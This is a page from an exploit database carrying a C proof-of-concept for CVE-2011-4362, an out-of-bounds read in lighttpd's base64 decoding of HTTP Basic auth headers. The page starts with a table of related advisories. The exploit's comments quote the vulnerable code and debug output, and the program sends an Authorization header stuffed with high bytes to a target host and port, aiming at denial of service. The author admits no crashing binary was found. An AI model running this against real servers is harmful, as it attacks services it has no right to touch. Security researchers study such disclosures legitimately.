| Reporter | Title | Published | Views | Family All 52 |
|---|---|---|---|---|
| Medium: lighttpd | 9 Jul 201200:00 | – | amazon | |
| Amazon Linux AMI : lighttpd (ALAS-2012-107) | 4 Sep 201300:00 | – | nessus | |
| Debian DSA-2368-1 : lighttpd - multiple vulnerabilities (BEAST) | 12 Jan 201200:00 | – | nessus | |
| Fedora 17 : lighttpd-1.4.31-1.fc17 (2012-9040) | 26 Jun 201200:00 | – | nessus | |
| Fedora 16 : lighttpd-1.4.31-1.fc16 (2012-9078) | 26 Jun 201200:00 | – | nessus | |
| FreeBSD : lighttpd -- remote DoS in HTTP authentication (c6521b04-314b-11e1-9cf4-5404a67eef98) | 29 Dec 201100:00 | – | nessus | |
| GLSA-201406-10 : lighttpd: Multiple vulnerabilities | 16 Jun 201400:00 | – | nessus | |
| lighttpd < 1.4.30 base64_decode Function Out-of-Bounds Read Error DoS | 28 Dec 201100:00 | – | nessus | |
| openSUSE Security Update : lighttpd (openSUSE-2012-110) | 13 Jun 201400:00 | – | nessus | |
| Oracle Solaris Third-Party Patch Update : lighttpd (cve_2011_4362_denial_of) | 19 Jan 201500:00 | – | nessus |
/*
* Primitive Lighttpd Proof of Concept code for CVE-2011-4362 vulnerability discovered by Xi Wang
*
* Here the vulnerable code (src/http_auth.c:67)
*
* --- CUT ---
* static const short base64_reverse_table[256] = {
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x00 - 0x0F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x10 - 0x1F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, /* 0x20 - 0x2F
* 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, /* 0x30 - 0x3F
* -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, /* 0x40 - 0x4F
* 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, /* 0x50 - 0x5F
* -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, /* 0x60 - 0x6F
* 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1, /* 0x70 - 0x7F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x80 - 0x8F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x90 - 0x9F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xA0 - 0xAF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xB0 - 0xBF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xC0 - 0xCF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xD0 - 0xDF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xE0 - 0xEF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xF0 - 0xFF
* };
*
* static unsigned char * base64_decode(buffer *out, const char *in) {
* ...
* int ch, ...;
* size_t i;
* ...
*
* ch = in[i];
* ...
* ch = base64_reverse_table[ch];
* ...
* }
* --- CUT ---
*
* Because variable 'in' is type 'char', characters above 0x80 lead to negative indices.
* This vulnerability may lead out-of-boud read and theoretically cause Segmentation Fault
* (Denial of Service attack). Unfortunately I couldn't find any binaries where .rodata
* section before the base64_reverse_table table cause this situation.
*
* I have added some extra debug in the lighttpd source code to see if this vulnerability is
* executed correctly. Here is output for one of the example:
*
* --- CUT ---
* ptr[0x9a92c48] size[0xc0] used[0x0]
* 127(. | 0 | 0)
* -128(t | 1 | 0)
* -127(e | 2 | 1)
* -126(' | 3 | 2)
* -125(e | 4 | 3)
* -124(u | 5 | 3)
* -123(r | 6 | 4)
* -122(' | 7 | 5)
* -121(s | 8 | 6)
* -120(c | 9 | 6)
* -119(i | 10 | 7)
* -118(n | 11 | 8)
* -117(i | 12 | 9)
* -116( | 13 | 9)
* -115(a | 14 | 10)
* -114(t | 15 | 11)
* -113(. | 16 | 12)
* -112(e | 17 | 12)
* -111(u | 18 | 13)
* -110(r | 19 | 14)
* -109(' | 20 | 15)
* -108(f | 21 | 15)
* -107(i | 22 | 16)
* -106(e | 23 | 17)
* -105(: | 24 | 18)
* -104(= | 25 | 18)
* -103(o | 26 | 19)
* -102(t | 27 | 20)
* -101(o | 28 | 21)
* -100( | 29 | 21)
* -99(a | 30 | 22)
* -98(g | 31 | 23)
* -97(. | 32 | 24)
* -96(d | 33 | 24)
* -95(g | 34 | 25)
* -94(s | 35 | 26)
* -93(: | 36 | 27)
* -92(u | 37 | 27)
* -91(s | 38 | 28)
* -90(p | 39 | 29)
* -89(o | 40 | 30)
* -88(t | 41 | 30)
* -87(d | 42 | 31)
* -86(b | 43 | 32)
* -85(c | 44 | 33)
* -84(e | 45 | 33)
* -83(d | 46 | 34)
* -82(( | 47 | 35)
* -81(n | 48 | 36)
* -80(y | 49 | 36)
* -79(h | 50 | 37)
* -78(d | 51 | 38)
* -77(g | 52 | 39)
* -76(s | 53 | 39)
* -75( | 54 | 40)
* -74(r | 55 | 41)
* -73(p | 56 | 42)
* -72(a | 57 | 42)
* -71(n | 58 | 43)
* -70(. | 59 | 44)
* -69(. | 60 | 45)
* -68(d | 61 | 45)
* -67(g | 62 | 46)
* -66(s | 63 | 47)
* -65(: | 64 | 48)
* -64(( | 65 | 48)
* -63(d | 66 | 49)
* -62(- | 67 | 50)
* -61(e | 68 | 51)
* -60(s | 69 | 51)
* -59( | 70 | 52)
* -58(i | 71 | 53)
* -57(s | 72 | 54)
* -56(n | 73 | 54)
* -55( | 74 | 55)
* -54(i | 75 | 56)
* -53(l | 76 | 57)
* -52(. | 77 | 57)
* -51(. | 78 | 58)
* -50(k | 79 | 59)
* -49(0 | 80 | 60)
* -48(% | 81 | 60)
* -47(] | 82 | 61)
* -46(p | 83 | 62)
* -45(r | 84 | 63)
* -44(0 | 85 | 63)
* -43(% | 86 | 64)
* -42(] | 87 | 65)
* -41(s | 88 | 66)
* -40(z | 89 | 66)
* -39([ | 90 | 67)
* -38(x | 91 | 68)
* -37(x | 92 | 69)
* -36( | 93 | 69)
* -35(s | 94 | 70)
* -34(d | 95 | 71)
* -33(0 | 96 | 72)
* -32(% | 97 | 72)
* -31(] | 98 | 73)
* -30(. | 99 | 74)
* -29(. | 100 | 75)
* -28(d | 101 | 75)
* -27(c | 102 | 76)
* -26(d | 103 | 77)
* -25(i | 104 | 78)
* -24(g | 105 | 78)
* -23(b | 106 | 79)
* -22(s | 107 | 80)
* -21(6 | 108 | 81)
* -20(- | 109 | 81)
* -19(t | 110 | 82)
* -18(i | 111 | 83)
* -17(g | 112 | 84)
* -16(f | 113 | 84)
* -15(i | 114 | 85)
* -14(e | 115 | 86)
* -13(. | 116 | 87)
* -12(. | 117 | 87)
* -11(. | 118 | 88)
* -10(. | 119 | 89)
* -9(. | 120 | 90)
* -8(. | 121 | 90)
* -7(. | 122 | 91)
* -6(. | 123 | 92)
* -5(. | 124 | 93)
* -4(. | 125 | 93)
* -3(. | 126 | 94)
* -2(. | 127 | 95)
* -1(. | 128 | 96)
* k[0x60] ptr[0x9a92c48] size[0xc0] used[0x0]
* ptr[0x9a92c48] size[0xc0] used[0x60]
* string [.Yg.\...n.Xt.]r.ze.....g.Y..\..Yb.Y(..d..r.[..Y...-.xi..i.]
* --- CUT ---
*
* First column is the offset so vulnerability is executed like it should be
* (negative offsets). Second column is byte which is read out-of-bound.
*
*
* Maybe you can find vulnerable binary?
*
*
* Best regards,
* Adam 'pi3' Zabrocki
*
*
* --
* http://pi3.com.pl
* http://site.pi3.com.pl/exp/p_cve-2011-4362.c
* http://blog.pi3.com.pl/?p=277
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <getopt.h>
#define PORT 80
#define SA struct sockaddr
char header[] =
"GET /%s/ HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Proxy-Connection: keep-alive\r\n"
"Authorization: Basic ";
char header_port[] =
"GET /%s/ HTTP/1.1\r\n"
"Host: %s:%d\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Proxy-Connection: keep-alive\r\n"
"Authorization: Basic ";
int main(int argc, char *argv[]) {
int i=PORT,opt=0,sockfd;
char *remote_dir = NULL;
char *r_hostname = NULL;
struct sockaddr_in servaddr;
struct hostent *h = NULL;
char *buf;
unsigned int len = 0x0;
if (!argv[1])
usage(argv[0]);
printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n");
printf("\n\t\t[+] Preparing arguments... ");
while((opt = getopt(argc,argv,"h:d:p:?")) != -1) {
switch(opt) {
case 'h':
r_hostname = strdup(optarg);
if ( (h = gethostbyname(r_hostname))==NULL) {
printf("Gethostbyname() field!\n");
exit(-1);
}
break;
case 'p':
i=atoi(optarg);
break;
case 'd':
remote_dir = strdup(optarg);
break;
case '?':
usage(argv[0]);
break;
default:
usage(argv[0]);
break;
}
}
if (!remote_dir || !h) {
usage(argv[0]);
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(i);
servaddr.sin_addr = *(struct in_addr*)h->h_addr;
len = strlen(header_port)+strlen(remote_dir)+strlen(r_hostname)+512;
if ( (buf = (char *)malloc(len)) == NULL) {
printf("malloc() :(\n");
exit(-1);
}
memset(buf,0x0,len);
if (i != 80)
snprintf(buf,len,header_port,remote_dir,r_hostname,i);
else
snprintf(buf,len,header,remote_dir,r_hostname);
for (i=0;i<130;i++)
buf[strlen(buf)] = 127+i;
buf[strlen(buf)] = '\r';
buf[strlen(buf)] = '\n';
buf[strlen(buf)] = '\r';
buf[strlen(buf)] = '\n';
printf("OK\n\t\t[+] Creating socket... ");
if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 ) {
printf("Socket() error!\n");
exit(-1);
}
printf("OK\n\t\t[+] Connecting to [%s]... ",r_hostname);
if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0 ) {
printf("Connect() error!\n");
exit(-1);
}
printf("OK\n\t\t[+] Sending dirty packet... ");
// write(1,buf,strlen(buf));
write(sockfd,buf,strlen(buf));
printf("OK\n\n\t\t[+] Check the website!\n\n");
close(sockfd);
}
int usage(char *arg) {
printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n");
printf("\n\tUsage: %s <options>\n\n\t\tOptions:\n",arg);
printf("\t\t\t -v <victim>\n\t\t\t -p <port>\n\t\t\t -d <remote_dir_for_auth>\n\n");
exit(0);
}
# 0day.today [2018-01-03] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation